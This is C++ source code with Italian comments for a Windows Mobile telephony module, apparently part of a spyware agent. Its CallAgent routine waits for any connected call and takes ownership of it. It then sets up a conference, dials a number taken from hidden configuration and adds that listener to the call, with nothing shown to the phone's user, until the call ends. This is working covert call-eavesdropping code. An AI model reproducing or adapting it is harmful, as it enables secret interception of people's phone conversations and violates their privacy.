#include "Common.h"
#include "Module.h"
#include "Log.h"
#include "Device.h"

#include <tapi.h>
#include <extapi.h>
#include <regext.h>
#include <snapi.h>
#include <pm.h>

void FAR PASCAL lineCallbackFunc(DWORD hDevice, DWORD dwMsg, DWORD dwCallbackInstance, DWORD dwParam1, DWORD dwParam2, DWORD dwParam3) {

}

DWORD WINAPI CallAgent(LPVOID lpParam) {
	HLINEAPP hLineApp;
	HRESULT result, dwRequestId;
	HLINE hLineOpened = NULL;
	DWORD dwPhoneNumDevs = 0, dwLineNumDevs = 0, dwApiVersion = 0x00030000;
	LINEINITIALIZEEXPARAMS liep;
	LINEMESSAGE lineMess;
	UINT i;

	Configuration *conf;
	Module *me = (Module *)lpParam;
	HANDLE eventHandle;
	wstring number;

	me->setStatus(MODULE_RUNNING);
	eventHandle = me->getEvent();
	conf = me->getConf();

	try {
		number = conf->getString(L"number");
	} catch (...) {
		me->setStatus(MODULE_STOPPED);
		return 0;
	}

	if (number.empty()) {
		me->setStatus(MODULE_STOPPED);
		return 0;
	}

	DBG_TRACE(L"Debug - Conference.cpp - Conference Module started\n", 5, FALSE);

	LOOP {
		ZeroMemory(&liep, sizeof(liep));
		liep.dwTotalSize = sizeof(LINEINITIALIZEEXPARAMS);
		liep.dwOptions   = LINEINITIALIZEEXOPTION_USEEVENT;

		result = lineInitializeEx(&hLineApp, 0, lineCallbackFunc, TEXT("ExTapi_Lib"), &dwPhoneNumDevs, &dwApiVersion, &liep);

		if (result < 0) {
			me->setStatus(MODULE_STOPPED);
			DBG_TRACE(L"Debug - Conference.cpp - Conference Module [0]\n", 5, FALSE);
			return 0;
		}

		for (i = 0; i < dwPhoneNumDevs; i++) {
			LINEEXTENSIONID extensionID;
			ZeroMemory(&extensionID, sizeof(LINEEXTENSIONID));

			result = lineNegotiateAPIVersion(hLineApp, i, 0x00014000, 0x00030000, &dwApiVersion, &extensionID);
		}

		DWORD extVersion = 0;
		LINECALLPARAMS lineCallParams;
		HCALL hCall = NULL, hConfCall = NULL, hListenerCall = NULL;

		ZeroMemory(&lineCallParams, sizeof(lineCallParams));
		lineCallParams.dwTotalSize = sizeof(lineCallParams);
		lineCallParams.dwBearerMode = LINEBEARERMODE_VOICE;
		lineCallParams.dwAddressMode = LINEADDRESSMODE_DIALABLEADDR;
		lineCallParams.dwCallParamFlags = LINECALLPARAMFLAGS_IDLE;
		lineCallParams.dwMediaMode = 0;

		result = lineOpen(hLineApp, 0, &hLineOpened, dwApiVersion, 0, 0x100,
			LINECALLPRIVILEGE_MONITOR | LINECALLPRIVILEGE_OWNER, LINEMEDIAMODE_INTERACTIVEVOICE /*| LINEMEDIAMODE_DATAMODEM*/, &lineCallParams);

		if (result < 0) {
			me->setStatus(MODULE_STOPPED);
			DBG_TRACE(L"Debug - Conference.cpp - Conference Module FAILED [1]\n", 5, FALSE);
			return 0;
		}

		// Attendiamo che arrivi o sia effettuata una chiamata
		LOOP {
			if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
				if (me->shouldStop() == FALSE)
					continue;

				lineShutdown(hLineApp);
				me->setStatus(MODULE_STOPPED);
				DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
				return 0;
			}

			if (!lineGetMessage(hLineApp, &lineMess, INFINITE) && lineMess.dwMessageID == LINE_CALLSTATE &&
				lineMess.dwParam1 == LINECALLSTATE_CONNECTED) {

					hCall = (HCALL)lineMess.hDevice; // Prendiamo l'handle della chiamata!
					break;
			}
		}

		// Prendiamo i privilegi sulla chiamata
		result = lineSetCallPrivilege(hCall, LINECALLPRIVILEGE_OWNER);

		if (result < 0) {
			lineShutdown(hLineApp);
			DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [2]\n", 5, FALSE);
			continue;
		}

		// XXX Su alcuni cell hCall DEVE essere NULL e il secondo parametro valorizzato
		// LONG lRet = lineSetupConference(hCall, NULL, &hConfCall, &hListenerCall, 3, (const LPLINECALLPARAMS)plineParams);
		LONG lRet = lineSetupConference(hCall, NULL, &hConfCall, &hListenerCall, 3, NULL);

		if (lRet < 0) {
			lineShutdown(hLineApp);
			DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [3]\n", 5, FALSE);
			continue;
		}

		// Attendiamo che la lineSetupConference ci comunichi il suo stato
		BOOL bReply, bConferenced, bDial, bOnHold;
		bReply = bConferenced = bDial = bOnHold = FALSE;

		LOOP {
			if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
				if (me->shouldStop() == FALSE)
					continue;

				lineShutdown(hLineApp);
				me->setStatus(MODULE_STOPPED);
				DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
				return 0;
			}

			if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) {
				if (lineMess.dwMessageID == LINE_REPLY) {
					if (lineMess.dwParam2 == 0)
						bReply = TRUE;
					else
						return 0; // XXX Non dobbiamo continuare in questo caso
				}

				if (lineMess.hDevice == (DWORD)hCall && lineMess.dwParam1 == LINECALLSTATE_CONFERENCED)
					bConferenced = TRUE;

				if (lineMess.hDevice == (DWORD)hListenerCall && lineMess.dwParam1 == LINECALLSTATE_DIALTONE)
					bDial = TRUE;

				if (lineMess.hDevice == (DWORD)hConfCall && lineMess.dwParam1 == LINECALLSTATE_ONHOLDPENDCONF)
					bOnHold = TRUE;
			}

			if (bReply && bConferenced && bDial && bOnHold)
				break;
		}

		dwRequestId = lineDial(hListenerCall, number.c_str(), 0);

		if (dwRequestId < 0) {
			lineShutdown(hLineApp);
			DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [4]\n", 5, FALSE);
			continue;
		}

		// Attendiamo che la terza parte risponda
		BOOL bTerminated = FALSE;
		bReply = bConferenced = FALSE;

		LOOP {
			if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
				if (me->shouldStop() == FALSE)
					continue;

				lineShutdown(hLineApp);
				me->setStatus(MODULE_STOPPED);
				DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
				return 0;
			}

			if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) {
				if (lineMess.dwMessageID == LINE_REPLY)
					bReply = TRUE;

				if (lineMess.hDevice == (DWORD)hListenerCall && lineMess.dwParam1 == LINECALLSTATE_CONNECTED)
					bConferenced = TRUE;

				// Vediamo se nel frattempo la chiamata e' terminata
				if (lineMess.dwMessageID == LINE_CALLSTATE && lineMess.dwParam1 == LINECALLSTATE_DISCONNECTED) {
					bTerminated = TRUE;
					break;
				}
			}

			if (bReply && bConferenced)
				break;
		}

		result = lineAddToConference(hConfCall, hListenerCall);

		if (result < 0 || bTerminated) {
			lineDrop(hListenerCall, NULL, 0);
			lineShutdown(hLineApp);
			DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [Call not answered?] [4]\n", 5, FALSE);
			continue;
		}

		// Attendiamo che la conference call sia completa
		bReply = bConferenced = bDial = FALSE;

		LOOP {
			if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
				if (me->shouldStop() == FALSE)
					continue;

				lineShutdown(hLineApp);
				me->setStatus(MODULE_STOPPED);
				DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
				return 0;
			}

			if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) {
				if (lineMess.dwMessageID == LINE_REPLY)
					bReply = TRUE;

				if (lineMess.hDevice == (DWORD)hListenerCall && lineMess.dwParam1 == LINECALLSTATE_CONFERENCED)
					bConferenced = TRUE;

				if (lineMess.hDevice == (DWORD)hConfCall && lineMess.dwParam1 == LINECALLSTATE_CONNECTED)
					bDial = TRUE;
			}

			if (bReply && bConferenced && bDial)
				break;
		}

		// Attendiamo ora la fine della telefonata
		// 1. Chiude il chiamante, chiudiamo anche noi
		// 2. Chiude il chiamato, chiudiamo anche noi
		LOOP {
			if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
				if (me->shouldStop() == FALSE)
					continue;

				lineShutdown(hLineApp);
				me->setStatus(MODULE_STOPPED);
				DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE);
				return 0;
			}

			if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) {
				if (lineMess.dwMessageID == LINE_CALLSTATE && lineMess.dwParam1 == LINECALLSTATE_DISCONNECTED) {
					lineDrop(hListenerCall, NULL, 0);
					break;
				}
			}
		}

		lineShutdown(hLineApp);
	}

	return 0;
}